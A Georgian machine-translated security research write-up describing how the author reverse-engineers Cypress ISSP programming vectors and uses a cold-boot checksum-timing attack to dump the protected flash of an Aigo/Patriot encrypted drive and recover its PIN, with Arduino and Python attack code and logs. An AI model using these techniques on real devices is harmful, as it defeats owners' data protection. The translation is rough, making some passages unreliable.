ეს არის სტატიის მეორე და ბოლო ნაწილი გარე თვითდაშიფვრის დისკების გატეხვის შესახებ. შეგახსენებთ, რომ ცოტა ხნის წინ კოლეგამ მომიტანა პატრიოტი (აიგო) SK8671 მყარი დისკი და გადავწყვიტე მისი გადაბრუნება და ახლა ვაზიარებ, რაც გამოვიდა. სანამ შემდგომ წაიკითხავთ, აუცილებლად წაიკითხეთ პირველი ნაწილი სტატიები.

4. ჩვენ ვიწყებთ ნაგავსაყრელის აღებას შიდა PSoC ფლეშ დრაივიდან
5. ISSP პროტოკოლი
- 5.1. რა არის ISSP
– 5.2. ვექტორების დემისტიფიკაცია
– 5.3. კომუნიკაცია PSoC-თან
– 5.4. ჩიპზე რეგისტრების იდენტიფიკაცია
- 5.5. უსაფრთხოების ბიტები
6. პირველი (ჩავარდნილი) შეტევა: ROMX
7. მეორე შეტევა: Cold Boot Tracing
– 7.1. განხორციელება
– 7.2. შედეგის კითხვა
– 7.3. ფლეშ ორობითი რეკონსტრუქცია
– 7.4. PIN კოდის შენახვის მისამართის პოვნა
- 7.5. No126 ბლოკის ნაგავსაყრელის აღება
– 7.6. PIN კოდის აღდგენა
8. რა არის შემდეგი?
9. დასკვნა

4. ჩვენ ვიწყებთ ნაგავსაყრელის აღებას შიდა PSoC ფლეშ დრაივიდან

ასე რომ, ყველაფერი მიუთითებს (როგორც ჩვენ დავადგინეთ [პირველ ნაწილში]()), რომ PIN კოდი ინახება PSoC-ის ფლეშ სიღრმეში. ამიტომ, ჩვენ უნდა წავიკითხოთ ეს ფლეშ სიღრმეები. საჭირო სამუშაოების წინა ნაწილი:

• მიკროკონტროლერთან „კომუნიკაციის“ კონტროლი;
• იპოვნეთ საშუალება შეამოწმოთ არის თუ არა ეს „კომუნიკაცია“ დაცული გარედან წაკითხვისგან;
• იპოვეთ დაცვის გვერდის ავლით გზა.

არსებობს ორი ადგილი, სადაც აზრი აქვს სწორი PIN კოდის ძებნას:

• შიდა ფლეშ მეხსიერება;
• SRAM, სადაც პინ კოდი შეიძლება შეინახოს მომხმარებლის მიერ შეყვანილ პინ კოდთან შესადარებლად.

წინსვლის ყურებით, აღვნიშნავ, რომ მე მაინც მოვახერხე შიდა PSoC ფლეშ დრაივის ამოღება - მისი უსაფრთხოების სისტემის გვერდის ავლით ტექნიკის შეტევის გამოყენებით, სახელწოდებით "ცივი ჩატვირთვის მოკვლევა" - ISSP პროტოკოლის დაუსაბუთებელი შესაძლებლობების შებრუნების შემდეგ. ამან საშუალება მომცა პირდაპირ გადამეგდო ფაქტობრივი PIN კოდი.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

პროგრამის საბოლოო კოდი:

• Arduino კოდი HSSP-სთვის;
• პითონის დრაივერი და ISSP დემონტაჟი.

5. ISSP პროტოკოლი

5.1. რა არის ISSP

მიკროკონტროლერთან „კომუნიკაცია“ შეიძლება ნიშნავდეს სხვადასხვა რამეს: „გამყიდველიდან გამყიდველამდე“ სერიული პროტოკოლის გამოყენებით ურთიერთქმედებამდე (მაგალითად, ICSP Microchip-ის PIC-ისთვის).

Cypress-ს აქვს ამისთვის საკუთარი საკუთრების პროტოკოლი, რომელსაც ეწოდება ISSP (სისტემაში სერიული პროგრამირების პროტოკოლი), რომელიც ნაწილობრივ აღწერილია ტექნიკური სპეციფიკაცია. პატენტი US7185162 ასევე იძლევა გარკვეულ ინფორმაციას. ასევე არსებობს OpenSource-ის ექვივალენტი სახელწოდებით HSSP (ჩვენ მას ცოტა მოგვიანებით გამოვიყენებთ). ISSP მუშაობს შემდეგნაირად:

• გადატვირთეთ PSoC;
• გამოიტანეთ ჯადოსნური ნომერი ამ PSoC-ის სერიული მონაცემების პინზე; გარე პროგრამირების რეჟიმში შესვლა;
• გაგზავნეთ ბრძანებები, რომლებიც არის გრძელი ბიტიანი სტრიქონები, რომლებსაც უწოდებენ "ვექტორებს".

ISSP დოკუმენტაცია განსაზღვრავს ამ ვექტორებს ბრძანებების მხოლოდ მცირე რაოდენობისთვის:

• ინიციალიზაცია-1
• ინიციალიზაცია-2
• Initialize-3 (3V და 5V ვარიანტები)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010dddddddd111, სადაც dddddddd=ბლოკი #
• ნაყარი წაშლა
• პროგრამა-ბლოკი
• VERIFY-SETUP
• READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1, სადაც DDDDDDDD = მონაცემების ამოღება, aaaaaa = მისამართი (6 ბიტი)
• WRITE-BYTE: 10010aaaaaaddddddd111, სადაც dddddddd = მონაცემები შეყვანილია, aaaaaa = მისამართი (6 ბიტი)
• საიდუმლო
• CHECKSUM-SETUP
• READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1, სადაც DDDDDDDDDDDDDDDDDD = მონაცემები გამოდის: მოწყობილობის საკონტროლო ჯამი
• ბლოკის წაშლა

მაგალითად, Initialize-2-ის ვექტორი:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

ყველა ვექტორს აქვს იგივე სიგრძე: 22 ბიტი. HSSP-ის დოკუმენტაციას აქვს დამატებითი ინფორმაცია ISSP-ზე: „ISSP ვექტორი სხვა არაფერია, თუ არა ცოტა თანმიმდევრობა, რომელიც წარმოადგენს ინსტრუქციების ერთობლიობას“.

5.2. ვექტორების დემისტიფიკაცია

მოდით გავარკვიოთ რა ხდება აქ. თავდაპირველად ვვარაუდობდი, რომ იგივე ვექტორები იყო M8C ინსტრუქციების ნედლეული ვერსიები, მაგრამ ამ ჰიპოთეზის შემოწმების შემდეგ აღმოვაჩინე, რომ ოპერაციების ოპკოდები არ ემთხვევა.

მერე დავგუგლე ზემოთ ვექტორი და წავაწყდი ეს არის კვლევა, სადაც ავტორი, მიუხედავად იმისა, რომ დეტალებში არ შედის, იძლევა რამდენიმე სასარგებლო რჩევას: ”თითოეული ინსტრუქცია იწყება სამი ბიტით, რომლებიც შეესაბამება ოთხიდან ერთს მნემონიკას (წაიკითხეთ RAM-დან, ჩაწერეთ RAM-ში, წაიკითხეთ რეგისტრაცია, ჩაწერეთ რეგისტრაცია). შემდეგ არის 8 მისამართის ბიტი, რასაც მოჰყვება 8 მონაცემთა ბიტი (წაკითხვა ან ჩაწერა) და ბოლოს სამი გაჩერების ბიტი.”

შემდეგ მე შევძელი ძალიან სასარგებლო ინფორმაციის მოპოვება Supervisory ROM (SROM) განყოფილებიდან. ტექნიკური სახელმძღვანელო. SROM არის მყარი კოდირებული ROM PSoC-ში, რომელიც უზრუნველყოფს სასარგებლო ფუნქციებს (Syscall-ის მსგავსად) პროგრამის კოდისთვის, რომელიც მუშაობს მომხმარებლის სივრცეში:

• 00 სთ: SWBoot Reset
• 01 სთ: ReadBlock
• 02 სთ: WriteBlock
• 03 სთ: წაშლა ბლოკი
• 06h: TableRead
• 07 სთ: CheckSum
• 08 სთ: დაკალიბრება 0
• 09 სთ: დაკალიბრება 1

ვექტორული სახელების SROM ფუნქციების შედარებით, ჩვენ შეგვიძლია დავაფიქსიროთ ამ პროტოკოლით მხარდაჭერილი სხვადასხვა ოპერაციები მოსალოდნელ SROM პარამეტრებთან. ამის წყალობით, ჩვენ შეგვიძლია გავშიფროთ ISSP ვექტორების პირველი სამი ბიტი:

• 100 => "wrem"
• 101 => "rdmem"
• 110 => "wrreg"
• 111 => "რეგულაცია"

თუმცა, ჩიპზე პროცესების სრული გაგება შესაძლებელია მხოლოდ PSoC-თან პირდაპირი კომუნიკაციით.

5.3. კომუნიკაცია PSoC-თან

ვინაიდან დირკ პეტრაუცკი უკვე პორტირებული Cypress-ის HSSP კოდი Arduino-ზე, მე გამოვიყენე Arduino Uno კლავიატურის დაფის ISSP კონექტორთან დასაკავშირებლად.

გთხოვთ გაითვალისწინოთ, რომ ჩემი კვლევის დროს მე საკმაოდ შევცვალე დირკის კოდი. თქვენ შეგიძლიათ იპოვოთ ჩემი მოდიფიკაცია GitHub-ზე: აქ და შესაბამისი პითონის სკრიპტი Arduino-სთან კომუნიკაციისთვის, ჩემს საცავში cypress_psoc_tools.

ასე რომ, Arduino-ს გამოყენებით, პირველად გამოვიყენე მხოლოდ "ოფიციალური" ვექტორები "კომუნიკაციისთვის". ვცადე შიდა ROM-ის წაკითხვა VERIFY ბრძანების გამოყენებით. როგორც მოსალოდნელი იყო, მე ეს ვერ მოვახერხე. ალბათ იმის გამო, რომ წაკითხვის დაცვის ბიტები გააქტიურებულია ფლეშ დრაივში.

შემდეგ შევქმენი რამდენიმე ჩემი მარტივი ვექტორი მეხსიერების/რეგისტრების ჩაწერისა და წაკითხვისთვის. გთხოვთ გაითვალისწინოთ, რომ ჩვენ შეგვიძლია წავიკითხოთ მთელი SROM, მიუხედავად იმისა, რომ ფლეშ დრაივი დაცულია!

5.4. ჩიპზე რეგისტრების იდენტიფიკაცია

„დაშლილი“ ვექტორების დათვალიერების შემდეგ აღმოვაჩინე, რომ მოწყობილობა იყენებს დაუსაბუთებელ რეგისტრებს (0xF8-0xFA) M8C ოპკოდების დასაზუსტებლად, რომლებიც შესრულებულია უშუალოდ დაცვის გვერდის ავლით. ამან მომცა საშუალება გამეტარებინა სხვადასხვა ოპერაციული კოდი, როგორიცაა "ADD", "MOV A, X", "PUSH" ან "JMP". მათი წყალობით (რეგისტრებზე გვერდითი ეფექტების დათვალიერებით) მე შევძელი განვსაზღვრო, რომელი დაუსაბუთებელი რეგისტრი იყო რეალურად ჩვეულებრივი რეგისტრები (A, X, SP და PC).

შედეგად, HSSP_disas.rb ინსტრუმენტის მიერ გენერირებული „დაშლილი“ კოდი ასე გამოიყურება (სიცხადისთვის კომენტარები დავამატე):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. უსაფრთხოების ბიტები

ამ ეტაპზე უკვე შემიძლია PSoC-თან კომუნიკაცია, მაგრამ ჯერ კიდევ არ მაქვს სანდო ინფორმაცია ფლეშ დრაივის უსაფრთხოების ბიტების შესახებ. ძალიან გამიკვირდა ის ფაქტი, რომ Cypress არ აწვდის მოწყობილობის მომხმარებელს არანაირ საშუალებას, რათა შეამოწმოს არის თუ არა დაცვა გააქტიურებული. უფრო ღრმად ჩავუღრმავდი Google-ს, რათა საბოლოოდ გავიგო, რომ Cypress-ის მიერ მოწოდებული HSSP კოდი განახლდა მას შემდეგ, რაც დირკმა გამოუშვა თავისი მოდიფიკაცია. Ამიტომაც! ეს ახალი ვექტორი გამოჩნდა:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ამ ვექტორის გამოყენებით (იხილეთ read_security_data psoc.py-ში), ჩვენ ვიღებთ უსაფრთხოების ყველა ბიტს SRAM-ში 0x80-ზე, სადაც არის ორი ბიტი თითო დაცულ ბლოკში.

შედეგი დამთრგუნველია: ყველაფერი დაცულია "გარე კითხვისა და წერის გამორთვა" რეჟიმში. მაშასადამე, ფლეშ დრაივიდან არა მხოლოდ ვერაფერს წავიკითხავთ, არამედ ვერც ვერაფერს დავწერთ (მაგალითად, ROM-ის დუმპერის დაყენება). და დაცვის გამორთვის ერთადერთი გზა არის მთელი ჩიპის მთლიანად წაშლა. 🙁

6. პირველი (ჩავარდნილი) შეტევა: ROMX

თუმცა, შეგვიძლია ვცადოთ შემდეგი ხრიკი: ვინაიდან გვაქვს თვითნებური ოპკოდების შესრულების შესაძლებლობა, რატომ არ უნდა შევასრულოთ ROMX, რომელიც გამოიყენება ფლეშ მეხსიერების წასაკითხად? ამ მიდგომას აქვს წარმატების კარგი შანსი. იმის გამო, რომ ReadBlock ფუნქცია, რომელიც კითხულობს მონაცემებს SROM-დან (რომელსაც ვექტორები იყენებენ) ამოწმებს, არის თუ არა მისი გამოძახება ISSP-დან. თუმცა, ROMX opcode-ს შეიძლება არ ჰქონდეს ასეთი შემოწმება. აი, პითონის კოდი (არდუინოს კოდში რამდენიმე დამხმარე კლასის დამატების შემდეგ):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

სამწუხაროდ ეს კოდი არ მუშაობს. 🙁 უფრო სწორად მუშაობს, მაგრამ გამოსავალზე ვიღებთ საკუთარ ოპკოდებს (0x28 0x30 0x40)! არ მგონია, რომ მოწყობილობის შესაბამისი ფუნქციონირება წაკითხვის დაცვის ელემენტია. ეს უფრო საინჟინრო ხრიკს ჰგავს: გარე ოპკოდების შესრულებისას, ROM ავტობუსი გადამისამართებულია დროებით ბუფერზე.

7. მეორე შეტევა: Cold Boot Tracing

იმის გამო, რომ ROMX ილეთმა არ იმუშავა, დავიწყე ფიქრი ამ ხრიკის სხვა ვარიაციაზე - აღწერილია პუბლიკაციაში "მიკროსკონტროლერის პროგრამული უზრუნველყოფის დაცვაზე ზედმეტად ბევრი სინათლის მოცილება".

7.1. განხორციელება

ISSP დოკუმენტაცია გთავაზობთ შემდეგ ვექტორს CHECKSUM-SETUP-ისთვის:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ეს არსებითად უწოდებს SROM ფუნქციას 0x07, როგორც წარმოდგენილია დოკუმენტაციაში (დახრილი ჩემია):

ეს ფუნქცია საკონტროლო ჯამის გადამოწმება. ის ითვლის 16-ბიტიან საკონტროლო ჯამს მომხმარებლის მიერ მითითებული ბლოკების რაოდენობის ერთ ფლეშ ბანკში, ნულიდან დაწყებული. BLOCKID პარამეტრი გამოიყენება იმ ბლოკების რაოდენობის გადასაცემად, რომლებიც გამოყენებული იქნება საკონტროლო ჯამის გაანგარიშებისას. მნიშვნელობა "1" გამოთვლის საკონტროლო ჯამს მხოლოდ ნულოვანი ბლოკისთვის; ხოლო "0" გამოიწვევს ფლეშ ბანკის 256-ვე ბლოკის ჯამური ჯამის გამოთვლას. 16-ბიტიანი საკონტროლო ჯამი ბრუნდება KEY1 და KEY2 მეშვეობით. KEY1 პარამეტრი ინახავს საკონტროლო ჯამის დაბალი რიგის 8 ბიტს, ხოლო KEY2 პარამეტრი ინახავს მაღალი რიგის 8 ბიტს. რამდენიმე ფლეშ ბანკის მქონე მოწყობილობებისთვის, საკონტროლო ჯამის ფუნქცია გამოიძახება თითოეულისთვის ცალკე. ბანკის ნომერი, რომლითაც ის იმუშავებს, დგინდება FLS_PR1 რეგისტრით (მასში ბიტის დაყენებით, რომელიც შეესაბამება სამიზნე ფლეშ ბანკს).

გაითვალისწინეთ, რომ ეს არის მარტივი საკონტროლო ჯამი: ბაიტები უბრალოდ ემატება ერთმანეთის მიყოლებით; არ არის ლამაზი CRC უცნაურობები. გარდა ამისა, იმის ცოდნა, რომ M8C ბირთვს აქვს რეგისტრების ძალიან მცირე ნაკრები, მე ვივარაუდე, რომ საკონტროლო ჯამის გაანგარიშებისას, შუალედური მნიშვნელობები ჩაიწერება იმავე ცვლადებში, რომლებიც საბოლოოდ გადავა გამოსავალზე: KEY1 (0xF8) / KEY2 ( 0xF9).

ასე რომ, თეორიულად ჩემი შეტევა ასე გამოიყურება:

1. ჩვენ ვუკავშირდებით ISSP-ის საშუალებით.
2. ჩვენ ვიწყებთ საკონტროლო ჯამის გამოთვლას CHECKSUM-SETUP ვექტორის გამოყენებით.
3. ჩვენ გადატვირთავთ პროცესორს განსაზღვრული დროის შემდეგ T.
4. ჩვენ ვკითხულობთ RAM-ს, რომ მივიღოთ მიმდინარე საკონტროლო ჯამი C.
5. გაიმეორეთ ნაბიჯები 3 და 4, ყოველ ჯერზე ოდნავ გაზარდეთ T.
6. ჩვენ აღვადგენთ მონაცემებს ფლეშ დრაივიდან წინა საკონტროლო ჯამის C-ის გამოკლებით.

თუმცა, არის პრობლემა: Initialize-1 ვექტორი, რომელიც უნდა გავგზავნოთ გადატვირთვის შემდეგ, გადაწერს KEY1 და KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ეს კოდი გადაწერს ჩვენს ძვირფას საკონტროლო ჯამს Calibrate1-ის (SROM ფუნქცია 9) გამოძახებით... იქნებ უბრალოდ გავაგზავნოთ ჯადოსნური ნომერი (ზემოთ მოცემული კოდის დასაწყისიდან) პროგრამირების რეჟიმში შესვლისთვის და შემდეგ წავიკითხოთ SRAM? და დიახ, მუშაობს! Arduino კოდი, რომელიც ახორციელებს ამ შეტევას, საკმაოდ მარტივია:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. წაიკითხეთ checkum_delay.
2. გაუშვით საკონტროლო ჯამის გაანგარიშება (send_checksum_v).
3. დაელოდეთ განსაზღვრულ პერიოდს; შემდეგი ხარვეზების გათვალისწინებით:
   • ბევრი დრო დავკარგე, სანამ არ გავიგე, რა გამოდის დაყოვნება მიკროწამები მუშაობს სწორად მხოლოდ 16383 μs-ზე მეტი შეფერხებით;
   • და შემდეგ ისევ დავკარგე იგივე დრო, სანამ არ აღმოვაჩინე, რომ delayMicroseconds, თუ მას 0 გადაეცემა შეყვანის სახით, მუშაობს სრულიად არასწორად!
4. გადატვირთეთ PSoC პროგრამირების რეჟიმში (ჩვენ უბრალოდ ვაგზავნით ჯადოსნურ ნომერს ინიციალიზაციის ვექტორების გაგზავნის გარეშე).

საბოლოო კოდი პითონში:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

მოკლედ, რას აკეთებს ეს კოდი:

1. გადატვირთავს PSoC-ს (და უგზავნის ჯადოსნურ ნომერს).
2. აგზავნის ინიციალიზაციის სრულ ვექტორებს.
3. იძახებს Arduino ფუნქციას Cmnd_STK_START_CSUM (0x85), სადაც დაყოვნება მიკროწამებში გადადის პარამეტრად.
4. კითხულობს საკონტროლო ჯამს (0xF8 და 0xF9) და დაუსაბუთებელ რეგისტრს 0xF1.

ეს კოდი შესრულებულია 10 ჯერ 1 მიკროწამში. 0xF1 აქ შედის, რადგან ეს იყო ერთადერთი რეგისტრი, რომელიც შეიცვალა საკონტროლო ჯამის გამოთვლისას. შესაძლოა, ეს არის რაღაც დროებითი ცვლადი, რომელსაც იყენებს არითმეტიკული ლოგიკური ერთეული. გაითვალისწინეთ მახინჯი ჰაკი, რომელსაც ვიყენებ არდუინოს გადატვირთვისთვის პიკოკომის გამოყენებით, როდესაც Arduino შეწყვეტს სიცოცხლის ნიშნების ჩვენებას (წარმოდგენა არ მაქვს რატომ).

7.2. შედეგის კითხვა

პითონის სკრიპტის შედეგი ასე გამოიყურება (გამარტივებულია წაკითხვისთვის):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

როგორც ვთქვით, გვაქვს პრობლემა: ვინაიდან ჩვენ ვმუშაობთ რეალური გამშვები ჯამით, ნულოვანი ბაიტი არ ცვლის წაკითხულ მნიშვნელობას. თუმცა, ვინაიდან მთელი გამოთვლის პროცედურას (8192 ბაიტი) სჭირდება 0,1478 წამი (მცირე ვარიაციებით ყოველი გაშვებისას), რაც უდრის დაახლოებით 18,04 μs თითო ბაიტს, ჩვენ შეგვიძლია გამოვიყენოთ ეს დრო შესამოწმებლად ჯამის მნიშვნელობის შესამოწმებლად შესაბამის დროს. პირველი გაშვებისთვის, ყველაფერი იკითხება საკმაოდ მარტივად, რადგან გამოთვლითი პროცედურის ხანგრძლივობა ყოველთვის თითქმის იგივეა. თუმცა, ამ ნაგავსაყრელის დასასრული ნაკლებად ზუსტია, რადგან „დროის მცირე გადახრები“ ყოველი გაშვებისას მატულობს მნიშვნელოვანი:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

ეს არის 10 ნაგავსაყრელი ყოველი მიკროწამის დაგვიანებისთვის. ფლეშ დრაივის ყველა 8192 ბაიტის გადაყრის საერთო ოპერაციული დრო დაახლოებით 48 საათია.

7.3. ფლეშ ორობითი რეკონსტრუქცია

მე ჯერ არ დამისრულებია კოდის დაწერა, რომელიც სრულად აღადგენს ფლეშ დრაივის პროგრამის კოდს, ყველა დროის გადახრის გათვალისწინებით. თუმცა, მე უკვე აღვადგინე ამ კოდის დასაწყისი. იმისათვის, რომ დავრწმუნდე, რომ ეს სწორად გავაკეთე, მე დაშალე იგი m8cdis-ის გამოყენებით:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

საკმაოდ დამაჯერებლად გამოიყურება!

7.4. PIN კოდის შენახვის მისამართის პოვნა

ახლა, როდესაც ჩვენ შეგვიძლია წავიკითხოთ საკონტროლო ჯამი საჭირო დროს, ჩვენ შეგვიძლია მარტივად შევამოწმოთ როგორ და სად იცვლება ის, როდესაც ჩვენ:

• შეიყვანეთ არასწორი PIN კოდი;
• შეცვალეთ პინის კოდი.

პირველ რიგში, მეხსიერების სავარაუდო მისამართის მოსაძებნად, გადატვირთვის შემდეგ ავიღე გამშვები ჯამის ნაგავსაყრელი 10 ms მატებით. მერე არასწორი PIN შევიყვანე და იგივე გავაკეთე.

შედეგი არც თუ ისე სასიამოვნო იყო, რადგან ბევრი ცვლილება იყო. მაგრამ საბოლოოდ მე შევძელი დამედგინა, რომ საკონტროლო ჯამი შეიცვალა სადღაც 120000 μs და 140000 μs დაგვიანებით. მაგრამ „პინკოდი“, რომელიც მე იქ აჩვენე, სრულიად არასწორი იყო - delayMicroseconds პროცედურის არტეფაქტის გამო, რომელიც უცნაურ რამეებს აკეთებს, როდესაც მას 0 გადაეცემა.

შემდეგ, თითქმის 3 საათის გატარების შემდეგ, გამახსენდა, რომ SROM სისტემის გამოძახება CheckSum იღებს არგუმენტს შეყვანის სახით, რომელიც განსაზღვრავს ბლოკების რაოდენობას საკონტროლო ჯამისთვის! რომ. ჩვენ შეგვიძლია მარტივად მოვახდინოთ PIN კოდის შენახვის მისამართის ლოკალიზაცია და „არასწორი მცდელობების“ მრიცხველი, 64 ბაიტიანი ბლოკის სიზუსტით.

ჩემმა თავდაპირველმა გაშვებებმა შემდეგი შედეგი გამოიღო:

შემდეგ შევცვალე PIN კოდი "123456"-დან "1234567"-ზე და მივიღე:

ამრიგად, PIN კოდი და არასწორი მცდელობების მრიცხველი, როგორც ჩანს, ინახება No126 ბლოკში.

7.5. No126 ბლოკის ნაგავსაყრელის აღება

ბლოკი #126 უნდა იყოს განლაგებული სადღაც 125x64x18 = 144000μs, საკონტროლო ჯამის გაანგარიშების დაწყებიდან, ჩემს სრულ ნაგავსაყრელში და საკმაოდ დამაჯერებლად გამოიყურება. შემდეგ, მრავალი არასწორი ნაგავსაყრელის ხელით ამოღების შემდეგ („მცირე დროის გადახრების“ დაგროვების გამო), მე მივიღე ეს ბაიტები (145527 μs ლატენტურობით):

აშკარაა, რომ PIN კოდი ინახება დაშიფრული სახით! ეს მნიშვნელობები, რა თქმა უნდა, არ იწერება ASCII კოდებში, მაგრამ როგორც ირკვევა, ისინი ასახავს ტევადობის კლავიატურიდან აღებულ წაკითხვებს.

დაბოლოს, კიდევ რამდენიმე ტესტი ჩავატარე, რათა გამეგო, სად იყო შენახული ცუდი მცდელობის მრიცხველი. აი შედეგი:
